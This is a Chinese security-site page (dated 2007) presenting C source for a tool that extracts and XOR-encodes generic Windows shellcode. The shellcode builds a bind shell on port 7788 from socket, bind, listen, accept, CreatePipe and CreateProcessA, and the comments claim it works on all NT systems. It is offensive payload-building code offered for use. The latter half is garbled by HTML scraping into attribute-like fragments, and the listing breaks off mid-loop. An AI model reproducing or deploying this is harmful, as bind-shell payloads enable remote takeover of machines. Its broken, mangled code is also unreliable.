|
使用C语言编写提取通用shellcode的程序 |
圣骑士--网络安全技术中心 http://www.senqice.net/ 所属分类:网站建设 作者:Hacker Admin 更新日期:2007-8-4
|
*/
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>
#define DEBUG 1 //定义为调试模式。本地测试用。打印shellcode后立即执行shellcode
//
//函数原型
//
void DecryptSc(); //shellcode解码函数,使用的是xor法加微调法
void ShellCodes(); //shellcode的函数,因为使用了动态搜索API地址。所以所有WINNT系统通杀
void PrintSc(char *lpBuff, int buffsize); //PrintSc函数用标准c格式打印
//
//用到的部分定义
//
#define BEGINSTRLEN 0x08 //开始字符串长度
#define ENDSTRLEN 0x08 //结束标记字符的长度
#define nop_CODE 0x90 //填充字符,用于不确定shellcode入口用
#define nop_LEN 0x0 //ShellCode起始的填充长度,真正shellcode的入口
#define BUFFSIZE 0x20000 //输出缓冲区大小
#define sc_PORT 7788 //绑定端口号 0x1e6c
#define sc_BUFFSIZE 0x2000 //ShellCode缓冲区大小
#define Enc_key 0x7A //编码密钥
#define MAX_Enc_Len 0x400 //加密代码的最大长度 1024足够?
#define MAX_Sc_Len 0x2000 //hellCode的最大长度 8192足够?
#define MAX_api_strlen 0x400 //APIstr字符串的长度
#define API_endstr "strend"//API结尾标记字符串
#define API_endstrlen 0x06 //标记字符串长度
//定义函数开始字符,定位用
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90\
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
//---------------------------------------------------
enum{ //Kernel32中的函数名定义,用于编写自定义的shellcode。下同
_CreatePipe,
_CreateProcessA,
_CloseHandle,
_PeekNamedPipe,
_ReadFile,
_WriteFile,
_ExitProcess,
//WS2_32
_WSAStartup,
_WSASocket
_socket,
_bind,
_listen,
_accept,
_send,
_recv,
_ioctlsocket,
_closesocket,
//本机测试User32
_MessageBeep,
_MessageBoxA,
API_num
};
//
//代码这里开始
//
int __cdecl main(int argc, char **argv)
{
//shellcode中要用到的字符串
static char ApiStr[]="\x1e\x6c" //端口地址7788
//Kernel32中查找的API函数名称,用来查找函数地址,下同
"CreatePipe""\x0"
"CreateProcessA""\x0"
"CloseHandle""\x0"
"PeekNamedPipe""\x0"
"ReadFile""\x0"
"WriteFile""\x0"
"ExitProcess""\x0"
//其它@PI中用到的API
"wsock32.dll""\x0"
"socket""\x0"
"bind""\x0"
"listen""\x0"
"accept""\x0"
"send""\x0"
"recv""\x0"
"ioctlsocket""\x0"
"closesocket""\x0"
//本机测试
"user32.dll""\x0"
"MessageBeep""\x0"
"MessageBoxA""\x0"
"\x0\x0\x0\x0\x0"
"strend";
char *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; //标记开始的字符串
char *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; //标记结束的字符串
char buff[BUFFSIZE]; //缓冲区
char sc_buff[sc_BUFFSIZE]; //ShellCodes缓冲
char *pDcrypt_addr,
*pSc_addr;
int buff_len; //缓冲长度
int EncCode_len; //加密编码代码长度
int Sc_len; //原始ShellCode的长度
int i,k;
unsigned char ch;
//
//获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
//获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
//部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理
//
pDcrypt_addr=(char *)DecryptSc;
//定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,
//从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试
ch=*pDcrypt_addr;
if (ch==0xe9)
{
pDcrypt_addr++;
i=*(int *)pDcrypt_addr;
pDcrypt_addr+=(i+4); //此时指向DecryptSc函数的实际地址
}
//找到解码代码的开始部分
for(k=0;k<max_enc_len;++k) if(memcmp(pdcrypt_addr+k,fnbgn_str,beginstrlen)="=0)" break;="" if="" (k<max_enc_len)="" pdcrypt_addr+="(k+8);" 如找到定位实际代码的开始="" else="" {="" 显示错误信息="" k="0;" printf("\nno="" begin="" str="" defined="" in="" decrypt="" function!please="" check="" before="" go="" on...\n");="" return="" 0;="" }="" for(k="0;k<MAX_Enc_Len;++k)" if(memcmp(pdcrypt_addr+k,fnend_str,endstrlen)="=0)" enccode_len="k;" end="" check....\n");="" memset(buff,nop_code,buffsize);="" 缓冲区填充="" memcpy(buff+nop_len,pdcrypt_addr,enccode_len);="" 把decryptsc代码复制进buff="" 处理shellcode代码,如果需要定位到代码的开始="" psc_addr="(char" *)shellcodes;="" 定位shellcode的地址="" 调试状态下的函数地址处理,便于调试="" ch="*pSc_addr;" (ch="=0xe9)" psc_addr++;="" i="*(int" *)psc_addr;="" psc_addr+="(i+4);" 此时指向shellcodes函数的实际地址="" 如果需要定位到实际shellcodes()的开始,这个版本中是不需要的="" *="" for="" (k="0;k<MAX_Sc_Len" ;++k="" )="" if(memcmp(psc_addr+k,fnbgn_str,beginstrlen)="=0)" 找到shellcode的结尾及长度="" if(memcmp(psc_addr+k,fnend_str,endstrlen)="=0)" (k<max_sc_len)="" sc_len="k;" shellcodes="" 把shellcode代码复制进sc_buff="" memcpy(sc_buff,psc_addr,sc_len);="" 把字符串拷贝在shellcode的结尾="" for(i="0;i<MAX_api_strlen;++i)" if(memcmp(apistr+i,"strend",api_endstrlen)="=0)" if(i="">=MAX_api_strlen)
{
printf("\nNo End str defined in API strings!Please Check....\n");
return 0;
}
memcpy(sc_buff+k,ApiStr,i);
Sc_len+=i; //增加shellcode的长度
//
//对shellcode进行编码,算法简单,可根据需要改变
//
k=EncCode_len+nop_LEN; //定位缓冲区应存放ShellCode地址的开始
for(i=0;i</max_enc_len;++k)></winioctl.h></stdio.h></windows.h>
|
查看人数:1473
|
|